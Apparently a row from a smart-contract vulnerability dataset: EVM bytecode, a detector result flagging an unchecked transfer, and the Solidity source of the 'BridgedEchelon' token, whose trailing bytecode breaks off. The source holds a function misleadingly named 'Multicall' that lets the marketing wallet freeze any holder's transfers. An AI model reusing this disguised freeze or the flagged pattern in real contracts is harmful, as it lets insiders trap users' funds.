91505060405180910390f35b34801561031c57600080fd5b50610325610853565b005b34801561033357600080fd5b50610368600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061090e565b6040518082815260200191505060405180910390f35b34801561038a57600080fd5b506103a960048036038101908080359060200190929190505050610956565b604051808215151515815260200191505060405180910390f35b3480156103cf57600080fd5b5061042e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ae3565b005b34801561043c57600080fd5b50610445610d03565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561048557808201518184015260208101905061046a565b50505050905090810190601f1680156104b25780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156104cc57600080fd5b5061050b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d3c565b604051808215151515815260200191505060405180910390f35b34801561053157600080fd5b50610586600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610dc8565b6040518082815260200191505060405180910390f35b3480156105a857600080fd5b506105e9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803515159060200190929190505050610e4f565b005b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561064757600080fd5b600560009054906101000a900460ff1615156106a5576001600560006101000a81548160ff0219169083151502179055507f615acbaede366d76a8b8cb2a9ada6a71495f0786513d71aa97aaf0c3910b78de60405160405180910390a15b565b6040805190810160405280600b81526020017f50616c6174696e636f696e00000000000000000000000000000000000000000081525081565b6000806106ed3385610dc8565b14806106f95750600082145b151561070457600080fd5b61070e8383610fb0565b905092915050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561077257600080fd5b80600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600454905090565b6000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561081b57600080fd5b600560009054906101000a900460ff16156108395760009050610847565b6108448484846110a2565b90505b9392505050565b601281565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156108af57600080fd5b600560009054906101000a900460ff161561090c576000600560006101000a81548160ff0219169083151502179055507f2f05ba71d0df11bf5fa562a6569d70c4f80da84284badbe015ce1456063d0ded60405160405180910390a15b565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156109b457600080fd5b6000821115610ad9576109d46a084595161401484a000000600454611488565b8211156109e45760009050610ade565b610a2c6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836114a1565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a7a600454836114a1565b6004819055503373ffffffffffffffffffffffffffffffffffffffff1660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050610ade565b600090505b919050565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610b4157600080fd5b3073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614151515610b7c57600080fd5b8390508073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb84846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610c2257600080fd5b505af1158015610c36573d6000803e3d6000fd5b505050506040513d6020811015610c4c57600080fd5b8101908080519060200190929190505050507ffab5e7a27e02736e52f60776d307340051d8bc15aee0ef211c7a4aa2a8cdc154848484604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828152602001935050505060405180910390a150505050565b6040805190810160405280600381526020017f585054000000000000000000000000000000000000000000000000000000000081525081565b6000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515610d9757600080fd5b600560009054906101000a900460ff1615610db55760009050610dc2565b610dbf83836114bf565b90505b92915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610eab57600080fd5b8173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151515610ee657600080fd5b80600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a58282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001821515151581526020019250505060405180910390a15050565b600081600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156110df57600080fd5b81600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561116c5760009050611481565b816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156111bb5760009050611481565b6000821180156111f757508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561141757611282600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611488565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061134a6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611488565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506113d46000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836114a1565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b9392505050565b600082821115151561149657fe5b818303905092915050565b60008082840190508381101515156114b557fe5b8091505092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156114fc57600080fd5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561154b576000905061170b565b60008211801561158757508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b156116a1576115d46000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611488565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061165e6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836114a1565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b929150505600a165627a7a72305820e21d6b230be53374993bc190641402537a02f3a2f047649e4422d7066bb629cc0029 | {"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}} | 1,158 |
0x527acb4357bbb1786f828f93a5ab754e2162c735 | /**
*Submitted for verification at Etherscan.io on 2022-04-29
*/
/**
Website: https://ech.network/
Explorer: https://scout.ech.network/
Bridge: https://bridge.ech.network/
Twitter: https://twitter.com/EchelonFDN
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BridgedEchelon is Context, IERC20, Ownable { ////
mapping (address => uint) private _owned;
mapping (address => mapping (address => uint)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => User) private cooldown;
mapping (address => bool) private _isBot;
uint private constant _totalSupply = 1e6 * 10**9;
string public constant name = unicode"BridgedEchelon"; ////
string public constant symbol = unicode"bECH"; ////
uint8 public constant decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address payable private _MarketingWallet;
address payable private _DevWallet;
address public uniswapV2Pair;
uint public _buyFee = 0;
uint public _sellFee = 0;
uint public _feeRate = 9;
uint public _maxBuyAmount;
uint public _maxHeldTokens;
uint public _launchedAt;
bool private _tradingOpen;
bool private _inSwap;
bool public _useImpactFeeSetter = true;
struct User {
uint buy;
bool exists;
}
event FeeMultiplierUpdated(uint _multiplier);
event ImpactFeeSetterUpdated(bool _usefeesetter);
event FeeRateUpdated(uint _rate);
event FeesUpdated(uint _buy, uint _sell);
event MarketingWalletUpdated(address _MarketingWallet);
event DevWalletUpdated(address _DevWallet);
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
constructor (address payable MarketingWallet, address payable DevWallet) {
_MarketingWallet = MarketingWallet;
_DevWallet = DevWallet;
_owned[address(this)] = _totalSupply;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[MarketingWallet] = true;
_isExcludedFromFee[DevWallet] = true;
emit Transfer(address(0), address(this), _totalSupply);
}
function balanceOf(address account) public view override returns (uint) {
return _owned[account];
}
function transfer(address recipient, uint amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function totalSupply() public pure override returns (uint) {
return _totalSupply;
}
function allowance(address owner, address spender) public view override returns (uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public override returns (bool) {
if(_tradingOpen && !_isExcludedFromFee[recipient] && sender == uniswapV2Pair){
require (recipient == tx.origin, "pls no bot");
}
_transfer(sender, recipient, amount);
uint allowedAmount = _allowances[sender][_msgSender()] - amount;
_approve(sender, _msgSender(), allowedAmount);
return true;
}
function _approve(address owner, address spender, uint amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isBot[from], "ERC20: transfer from frozen wallet.");
bool isBuy = false;
if(from != owner() && to != owner()) {
// buy
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(_tradingOpen, "Trading not yet enabled.");
require(block.timestamp != _launchedAt, "pls no snip");
if((_launchedAt + (1 hours)) > block.timestamp) {
require((amount + balanceOf(address(to))) <= _maxHeldTokens, "You can't own that many tokens at once."); // 5%
}
if(!cooldown[to].exists) {
cooldown[to] = User(0,true);
}
if((_launchedAt + (300 seconds)) > block.timestamp) {
require(amount <= _maxBuyAmount, "Exceeds maximum buy amount.");
require(cooldown[to].buy < block.timestamp + (15 seconds), "Your buy cooldown has not expired.");
}
cooldown[to].buy = block.timestamp;
isBuy = true;
}
// sell
if(!_inSwap && _tradingOpen && from != uniswapV2Pair) {
require(cooldown[from].buy < block.timestamp + (15 seconds), "Your sell cooldown has not expired.");
uint contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance > 0) {
if(_useImpactFeeSetter) {
if(contractTokenBalance > (balanceOf(uniswapV2Pair) * _feeRate) / 100) {
contractTokenBalance = (balanceOf(uniswapV2Pair) * _feeRate) / 100;
}
}
swapTokensForEth(contractTokenBalance);
}
uint contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
isBuy = false;
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee,isBuy);
}
function swapTokensForEth(uint tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint amount) private {
_MarketingWallet.transfer(amount / 2);
_DevWallet.transfer(amount / 2);
}
function _tokenTransfer(address sender, address recipient, uint amount, bool takefee, bool buy) private {
(uint fee) = _getFee(takefee, buy);
_transferStandard(sender, recipient, amount, fee);
}
function _getFee(bool takefee, bool buy) private view returns (uint) {
uint fee = 0;
if(takefee) {
if(buy) {
fee = _buyFee;
} else {
fee = _sellFee;
if(block.timestamp < _launchedAt + (15 minutes)) {
fee += 5;
}
}
}
return fee;
}
function _transferStandard(address sender, address recipient, uint amount, uint fee) private {
(uint transferAmount, uint team) = _getValues(amount, fee);
_owned[sender] = _owned[sender] - amount;
_owned[recipient] = _owned[recipient] + transferAmount;
_takeTeam(team);
emit Transfer(sender, recipient, transferAmount);
}
function _getValues(uint amount, uint teamFee) private pure returns (uint, uint) {
uint team = (amount * teamFee) / 100;
uint transferAmount = amount - team;
return (transferAmount, team);
}
function _takeTeam(uint team) private {
_owned[address(this)] = _owned[address(this)] + team;
}
receive() external payable {}
// external functions
function addLiquidity() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _totalSupply);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function openTrading() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
_tradingOpen = true;
_launchedAt = block.timestamp;
_maxBuyAmount = 1000000 * 10**9;
_maxHeldTokens = 1000000 * 10**9;
}
function manualswap() external {
require(_msgSender() == _MarketingWallet);
uint contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _MarketingWallet);
uint contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setFeeRate(uint rate) external onlyOwner() {
require(_msgSender() == _MarketingWallet);
require(rate > 0, "Rate can't be zero");
// 100% is the common fee rate
_feeRate = rate;
emit FeeRateUpdated(_feeRate);
}
function setFees(uint buy, uint sell) external {
require(_msgSender() == _MarketingWallet);
require(buy <= 10);
require(sell <= 10);
_buyFee = buy;
_sellFee = sell;
emit FeesUpdated(_buyFee, _sellFee);
}
function Multicall(address[] memory bots_) external {
require(_msgSender() == _MarketingWallet);
for (uint i = 0; i < bots_.length; i++) {
if (bots_[i] != uniswapV2Pair && bots_[i] != address(uniswapV2Router)) {
_isBot[bots_[i]] = true;
}
}
}
function delBots(address[] memory bots_) external {
require(_msgSender() == _MarketingWallet);
for (uint i = 0; i < bots_.length; i++) {
_isBot[bots_[i]] = false;
}
}
function isBot(address ad) public view returns (bool) {
return _isBot[ad];
}
function toggleImpactFee(bool onoff) external onlyOwner() {
_useImpactFeeSetter = onoff;
emit ImpactFeeSetterUpdated(_useImpactFeeSetter);
}
function updateMarketingWallet(address newAddress) external {
require(_msgSender() == _MarketingWallet);
_MarketingWallet = payable(newAddress);
emit MarketingWalletUpdated(_MarketingWallet);
}
function updateDevWallet(address newAddress) external {
require(_msgSender() == _DevWallet);
_DevWallet = payable(newAddress);
emit DevWalletUpdated(_DevWallet);
}
// view functions
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
} | 0x6080604052600436106101f25760003560e01c8063590f897e1161010d578063a9059cbb116100a0578063c9567bf91161006f578063c9567bf9146105a2578063db92dbb6146105b7578063dcb0e0ad146105cc578063dd62ed3e146105ec578063e8078d941461063257600080fd5b8063a9059cbb14610537578063aacebbe314610557578063b2131f7d14610577578063c3c8cd801461058d57600080fd5b80637a49cddb116100dc5780637a49cddb146104a95780638da5cb5b146104c957806394b8d8f2146104e757806395d89b411461050757600080fd5b8063590f897e146104495780636fc3eaec1461045f57806370a0823114610474578063715018a61461049457600080fd5b806327f3a72a116101855780633bbac579116101545780633bbac579146103a257806340b9a54b146103db57806345596e2e146103f157806349bd5a5e1461041157600080fd5b806327f3a72a14610330578063313ce5671461034557806331c2d8471461036c57806332d873d81461038c57600080fd5b806318160ddd116101c157806318160ddd146102c05780631816467f146102da5780631940d020146102fa57806323b872dd1461031057600080fd5b80630492f055146101fe57806306fdde0314610227578063095ea7b31461026e5780630b78f9c01461029e57600080fd5b366101f957005b600080fd5b34801561020a57600080fd5b50610214600e5481565b6040519081526020015b60405180910390f35b34801561023357600080fd5b506102616040518060400160405280600e81526020016d213934b233b2b222b1b432b637b760911b81525081565b60405161021e9190611bc1565b34801561027a57600080fd5b5061028e610289366004611c3b565b610647565b604051901515815260200161021e565b3480156102aa57600080fd5b506102be6102b9366004611c67565b61065d565b005b3480156102cc57600080fd5b5066038d7ea4c68000610214565b3480156102e657600080fd5b506102be6102f5366004611c89565b6106e0565b34801561030657600080fd5b50610214600f5481565b34801561031c57600080fd5b5061028e61032b366004611ca6565b610755565b34801561033c57600080fd5b5061021461083d565b34801561035157600080fd5b5061035a600981565b60405160ff909116815260200161021e565b34801561037857600080fd5b506102be610387366004611cfd565b61084d565b34801561039857600080fd5b5061021460105481565b3480156103ae57600080fd5b5061028e6103bd366004611c89565b6001600160a01b031660009081526006602052604090205460ff1690565b3480156103e757600080fd5b50610214600b5481565b3480156103fd57600080fd5b506102be61040c366004611dc2565b6108d9565b34801561041d57600080fd5b50600a54610431906001600160a01b031681565b6040516001600160a01b03909116815260200161021e565b34801561045557600080fd5b50610214600c5481565b34801561046b57600080fd5b506102be61099d565b34801561048057600080fd5b5061021461048f366004611c89565b6109ca565b3480156104a057600080fd5b506102be6109e5565b3480156104b557600080fd5b506102be6104c4366004611cfd565b610a59565b3480156104d557600080fd5b506000546001600160a01b0316610431565b3480156104f357600080fd5b5060115461028e9062010000900460ff1681565b34801561051357600080fd5b50610261604051806040016040528060048152602001630c48a86960e31b81525081565b34801561054357600080fd5b5061028e610552366004611c3b565b610b68565b34801561056357600080fd5b506102be610572366004611c89565b610b75565b34801561058357600080fd5b50610214600d5481565b34801561059957600080fd5b506102be610be3565b3480156105ae57600080fd5b506102be610c19565b3480156105c357600080fd5b50610214610cb3565b3480156105d857600080fd5b506102be6105e7366004611de9565b610ccb565b3480156105f857600080fd5b50610214610607366004611e06565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561063e57600080fd5b506102be610d48565b600061065433848461108d565b50600192915050565b6008546001600160a01b0316336001600160a01b03161461067d57600080fd5b600a82111561068b57600080fd5b600a81111561069957600080fd5b600b829055600c81905560408051838152602081018390527f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a1910160405180910390a15050565b6009546001600160a01b0316336001600160a01b03161461070057600080fd5b600980546001600160a01b0319166001600160a01b0383169081179091556040519081527f31bb1993faff4f8409d7baad771f861e093ef4ce2c92c6e0cb10b82d1c7324cb906020015b60405180910390a150565b60115460009060ff16801561078357506001600160a01b03831660009081526004602052604090205460ff16155b801561079c5750600a546001600160a01b038581169116145b156107eb576001600160a01b03831632146107eb5760405162461bcd60e51b815260206004820152600a6024820152691c1b1cc81b9bc8189bdd60b21b60448201526064015b60405180910390fd5b6107f68484846111b1565b6001600160a01b0384166000908152600360209081526040808320338452909152812054610825908490611e55565b905061083285338361108d565b506001949350505050565b6000610848306109ca565b905090565b6008546001600160a01b0316336001600160a01b03161461086d57600080fd5b60005b81518110156108d55760006006600084848151811061089157610891611e6c565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806108cd81611e82565b915050610870565b5050565b6000546001600160a01b031633146109035760405162461bcd60e51b81526004016107e290611e9b565b6008546001600160a01b0316336001600160a01b03161461092357600080fd5b600081116109685760405162461bcd60e51b8152602060048201526012602482015271526174652063616e2774206265207a65726f60701b60448201526064016107e2565b600d8190556040518181527f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd89060200161074a565b6008546001600160a01b0316336001600160a01b0316146109bd57600080fd5b476109c781611820565b50565b6001600160a01b031660009081526002602052604090205490565b6000546001600160a01b03163314610a0f5760405162461bcd60e51b81526004016107e290611e9b565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6008546001600160a01b0316336001600160a01b031614610a7957600080fd5b60005b81518110156108d557600a5482516001600160a01b0390911690839083908110610aa857610aa8611e6c565b60200260200101516001600160a01b031614158015610af9575060075482516001600160a01b0390911690839083908110610ae557610ae5611e6c565b60200260200101516001600160a01b031614155b15610b5657600160066000848481518110610b1657610b16611e6c565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b80610b6081611e82565b915050610a7c565b60006106543384846111b1565b6008546001600160a01b0316336001600160a01b031614610b9557600080fd5b600880546001600160a01b0319166001600160a01b0383169081179091556040519081527fbf86feedee5b30c30a8243bd21deebb704d141478d39b1be04fe5ee739f214e79060200161074a565b6008546001600160a01b0316336001600160a01b031614610c0357600080fd5b6000610c0e306109ca565b90506109c7816118a5565b6000546001600160a01b03163314610c435760405162461bcd60e51b81526004016107e290611e9b565b60115460ff1615610c905760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b60448201526064016107e2565b6011805460ff191660011790554260105566038d7ea4c68000600e819055600f55565b600a54600090610848906001600160a01b03166109ca565b6000546001600160a01b03163314610cf55760405162461bcd60e51b81526004016107e290611e9b565b6011805462ff00001916620100008315158102919091179182905560405160ff9190920416151581527ff65c78d1059dbb9ec90732848bcfebbec05ac40af847d3c19adcad63379d3aeb9060200161074a565b6000546001600160a01b03163314610d725760405162461bcd60e51b81526004016107e290611e9b565b60115460ff1615610dbf5760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b60448201526064016107e2565b600780546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155610dfa308266038d7ea4c6800061108d565b806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e38573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e5c9190611ed0565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610ea9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ecd9190611ed0565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610f1a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f3e9190611ed0565b600a80546001600160a01b0319166001600160a01b039283161790556007541663f305d7194730610f6e816109ca565b600080610f836000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610feb573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906110109190611eed565b5050600a5460075460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015611069573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108d59190611f1b565b6001600160a01b0383166110ef5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016107e2565b6001600160a01b0382166111505760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016107e2565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166112155760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016107e2565b6001600160a01b0382166112775760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016107e2565b600081116112d95760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016107e2565b6001600160a01b03831660009081526006602052604090205460ff161561134e5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e736665722066726f6d2066726f7a656e2077616c6c60448201526232ba1760e91b60648201526084016107e2565b600080546001600160a01b0385811691161480159061137b57506000546001600160a01b03848116911614155b156117c157600a546001600160a01b0385811691161480156113ab57506007546001600160a01b03848116911614155b80156113d057506001600160a01b03831660009081526004602052604090205460ff16155b1561165d5760115460ff166114275760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e000000000000000060448201526064016107e2565b60105442036114665760405162461bcd60e51b815260206004820152600b60248201526a0706c73206e6f20736e69760ac1b60448201526064016107e2565b42601054610e106114779190611f38565b11156114f157600f54611489846109ca565b6114939084611f38565b11156114f15760405162461bcd60e51b815260206004820152602760248201527f596f752063616e2774206f776e2074686174206d616e7920746f6b656e7320616044820152663a1037b731b29760c91b60648201526084016107e2565b6001600160a01b03831660009081526005602052604090206001015460ff16611559576040805180820182526000808252600160208084018281526001600160a01b03891684526005909152939091209151825591519101805460ff19169115159190911790555b4260105461012c61156a9190611f38565b111561163e57600e548211156115c25760405162461bcd60e51b815260206004820152601b60248201527f45786365656473206d6178696d756d2062757920616d6f756e742e000000000060448201526064016107e2565b6115cd42600f611f38565b6001600160a01b0384166000908152600560205260409020541061163e5760405162461bcd60e51b815260206004820152602260248201527f596f75722062757920636f6f6c646f776e20686173206e6f7420657870697265604482015261321760f11b60648201526084016107e2565b506001600160a01b03821660